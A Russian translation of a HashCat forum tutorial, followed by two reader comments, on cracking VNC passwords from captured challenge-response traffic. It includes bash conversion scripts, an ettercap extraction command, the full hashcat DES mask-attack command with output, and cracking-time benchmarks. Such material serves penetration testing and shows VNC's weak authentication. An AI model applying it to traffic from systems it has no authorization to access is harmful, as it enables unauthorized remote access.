Как взломать VNC пароль из захваченного трафика (challenge response)
Данная статья является переводом поста «VNC challenge response password crack» на форуме HashCat, который написал AJB.
Пост интереснейший во всех смыслах: во-первых, как справедливо отмечают авторы, не существует готового решения для взлома VNC пароля в hashcat; во-вторых, любопытен сам процесс проведённого исследования.
Возникла задача, используя hashcat взломать пароль из записанного трафика VNC сессии (содержащей challenge и response), но не удалось найти полное руководство, как это сделать. Поэтому было проделано следующее исследование.
Во время аутентификации клиента на сервере VNC, сервер отправляет Authentication challenge, а клиент в ответ отправляет Authentication response.
Пример Authentication challenge (894443629f4a9675809cff5da2e84651):
Пример Authentication response (271d94eb610b5c42588dc53506419e6a):
Было изучено, как работает аутентификация ответа на вызов VNC, и вот что мы поняли:
- Клиент инициирует соединение с сервером.
- Сервер отправляет уникальный/случайный 16-байтовый вызов клиенту.
- Клиент использует DES для шифрования (один раунд) вызов с помощью входного пароля и отправляет ответ.
- Сервер получает ответ и использует ту же схему шифрования для сравнения результатов.
- Соединение устанавливается если оба значения совпадают.
Для информации: известно, что алгоритм шифрования DES может принимать только ключи длиной 56 бит. Поскольку ASCII использует символы длиной 7-бит, то длина ключа может быть максимум до 8 символов. Если он короче, он будет дополнен нулями. Традиционный протокол VNC используется с DES (некоторые новые клиенты VNC могли изменить это).
Проблема в том, что VNC не использует пароль, заданный пользователем, как есть, но сначала выполняет преобразование:
- биты каждого байта соответствующего значения ascii инвертируются (записываются задом наперёд):
Пароль : 12345678 Значение Ascii (HEX) : 31 32 33 34 35 36 37 38 Двоичное значение: 00110001 00110010 00110011 .... Двоичное инвертированное значение: 10001100 01001100 11001100 .... Инвертированное шестнадцатеричное значение: 8c 4c cc 2c ac 6c ec 1c
Таким образом, действительный пароль пользователя VNC, используемый для шифрования: 8c4ccc2cac6cec1c (12345678 в ASCII)
John The Ripper реализовал это в версии 1.9.0 Jumbo-1.
Чтобы взломать пароли VNC с помощью hashcat, мы реализовали это преобразование с помощью небольшого bash-скрипта для создания модифицированной кодировки символов ascii.
Создайте файл toHexVNC.sh:
gedit toHexVNC.sh
И сохраните в него:
toHexVNC(){ for ((i=0;i<${#1};i++)); do ascii2binrev=`echo "${1:$i:1}" | perl -lpe '$_=unpack"B*",$_' | rev` binrev2hex+=`printf "%02x\n" "$((2#$ascii2binrev))"` done echo $binrev2hex } toHexVNC $1
Запускать так:
bash toHexVNC.sh СТРОКА
Например, чтобы конвертировать все цифры:
bash toHexVNC.sh 0123456789
Взлом VNC пароля в Hashcat
Теперь мы можем взломать его с помощью hashcat, используя:
- атаку 3 (атака по маске)
- тип хеша 14000 (DES)
- формат хэша: <шифр>:<открытый текст> (в VNC это будет: <response>:<challenge>, но НЕ <challenge>:<response>)
- при этом response и challenge должны быть усечены до длины 8 байтов (не нужно тратить ресурсы на все 16 байтов, и в любом случае hashcat принимает только 8 байтов шифра/открытого текста).
- обратную кодировку и опцию —hex-charset
Имеется файл VNC.pcapng с захваченной VNC сессией, как вы можете видеть выше на скриншотах, можно скопировать вызов и ответ из окна Wireshark. Также их можно извлечь с помощью ettercap:
ettercap -Tq -r VNC.pcapng
Вывод:
ettercap 0.8.3 copyright 2001-2019 Ettercap Development Team Reading from VNC.pcapng Libnet failed IPv4 initialization. Don't send IPv4 packets. Libnet failed IPv6 initialization. Don't send IPv6 packets. 34 plugins 42 protocol dissectors 57 ports monitored 24609 mac vendor fingerprint 1766 tcp OS fingerprint 2182 known services Starting Unified sniffing... 192.168.0.101-5900:$vnc$*894443629f4a9675809cff5da2e84651*271d94eb610b5c42588dc53506419e6a VNC : 192.168.0.101:5900 -> Challenge:894443629f4a9675809cff5da2e84651 Response:271d94eb610b5c42588dc53506419e6a
Из этого вывода нас интересуют:
- Challenge:894443629f4a9675809cff5da2e84651
- Response:271d94eb610b5c42588dc53506419e6a
Обрезаем — берём только нужные нам части:
echo 894443629f4a9675809cff5da2e84651 | cut -c 1-16 894443629f4a9675 echo 271d94eb610b5c42588dc53506419e6a | cut -c 1-16 271d94eb610b5c42
Не забываем, что ответ идёт ПЕРВЫМ, а затем только вызов, то есть:
271d94eb610b5c42:894443629f4a9675
Сохраняем этот хеш в файл toCrack.txt.
Теперь нам нужно определиться, какие символы будут использоваться для генерации кандидатов в пароли. Полный список Ascii такой:
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@$%*^-+_=~[]{}:;<>,.?/\")('&` |
Для использования всех 95 ascii символов, трансформированных для VNC, создайте файл VNC_allascii.charset и скопируйте в него:
8646c626a666e6169656d636b676f60e8e4ece2eae6eee1e9e5e8242c222a262e2129252d232b272f20a8a4aca2aaa6aea1a9a5a0c8c4ccc2cac6cec1c9c840224a4547ab4d4fabc7edabadebe5cdc3c7c3474fcf43a449414e46406043e00
Если вы хотите использовать для генерации паролей только большие и маленькие буквы, а также цифры:
bash toHexVNC.sh abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 > VNC_ascii.charset
Если генерировать пароли только из маленьких букв:
bash toHexVNC.sh abcdefghijklmnopqrstuvwxyz > VNC_ascii.charset
Думаю, суть вы уловили.
Я же буду использовать для генерации кандидатов в пароли только цифры:
bash toHexVNC.sh 0123456789 > VNC_ascii.charset
ОЧЕНЬ ВАЖНО: на это не обращают внимание оригинальные исследователи, но даже полный список конвертированных ASCII символов не подберёт VNC пароли, которые короче 8 символов. В принципе, это может показаться логичным — DES шифрование требует пароль не менее 8 символов в длину. Но VNC принимает более короткие символы, заполняя недостающие символы нулевым байтом. То есть после создания файла VNC_ascii.charset откройте его и обязательно впишите туда два дополнительных нуля если вы допускаете, что мог быть установлен пароль короче 8 символов (это вполне возможно!).
Наконец, составляем команду hashcat для брут-форса VNC пароля:
hashcat -a 3 -m 14000 -1 VNC_ascii.charset --hex-charset --force -D 1,2 --hwmon-temp-abort 100 toCrack.txt ?1?1?1?1?1?1?1?1
Пароль взломан:
271d94eb610b5c42:894443629f4a9675:$HEX[4c4c4c4c4c4c0000]
Взломанный пароль будет шестнадцатеричным значением, и его нужно будет снова конвертировать, чтобы найти пароль (в ASCII). Для этого также написана функция, чтобы её использовать, создайте файл toAscii.sh:
gedit toAscii.sh
И скопируйте в него:
toAscii(){ for ((i=0;i<${#1};i+=2)); do hex2binary=`perl -e 'printf "%08b\n", 0x'"${1:$i:2}"'' | rev` ascii2binrev+=`echo $hex2binary | perl -lpe '$_=pack"B*",$_'` done echo $ascii2binrev } toAscii $1
Запускать так:
bash toAscii.sh СТРОКА
Для конвертации взломанного только что пароля:
bash toAscii.sh 4c4c4c4c4c4c0000
Получено: 222222 (в качестве пароля использовалось шесть двоек).
Некоторые тесты (бенчмарки):
Использование 2x NVIDIA Quadro P4000 8GB
- пароль в 8 символов длинною из маленьких букв -> макс. ~ 2 мин
- пароль в 8 символов длинною из больших и маленьких букв, а также цифр -> макс. ~ 2.2 часа
- пароль в 8 символов длинною из больших и маленьких букв, а также цифр и пробела -> макс. ~ 2.5 часа
- пароль в 8 символов из всех символов ascii -> макс. ~ 3 дня
Как можно увидеть, при использовании любых символов у VNC пароля нет шансов остаться не взломанным. Вы можете устанавливать пароли любой длины для VNC сервера, например, в 20 символов, и программа молча будет их принимать, но по факту будет сохранено и использовано не более 8 первых символов от пароля.
Связанные статьи:
- Взлом рукопожатий (handshake) с использованием графического процессора в Windows (55.7%)
- Взлом паролей MS Office, PDF, 7-Zip, RAR, TrueCrypt, Bitcoin/Litecoin wallet.dat, htpasswd в Hashcat (55.7%)
- Базовое и продвинутое использование oclHashcat (Hashcat) для взлома WPA/WPA2 паролей из хендшейков (55.7%)
- Виды атак Hashcat (55.7%)
- Семейство программ *Hashcat: как научиться взламывать пароли, создавать и оптимизировать словари (55.7%)
- badKarma: Продвинутый набор инструментов для сетевой разведки (RANDOM - 2.3%)
А можно списком загрузить хэши и чтобы их по порядку прочекал хэшкет? или только по одному только?
Конечно можно списком — один файл, каждый хеш на новой строке.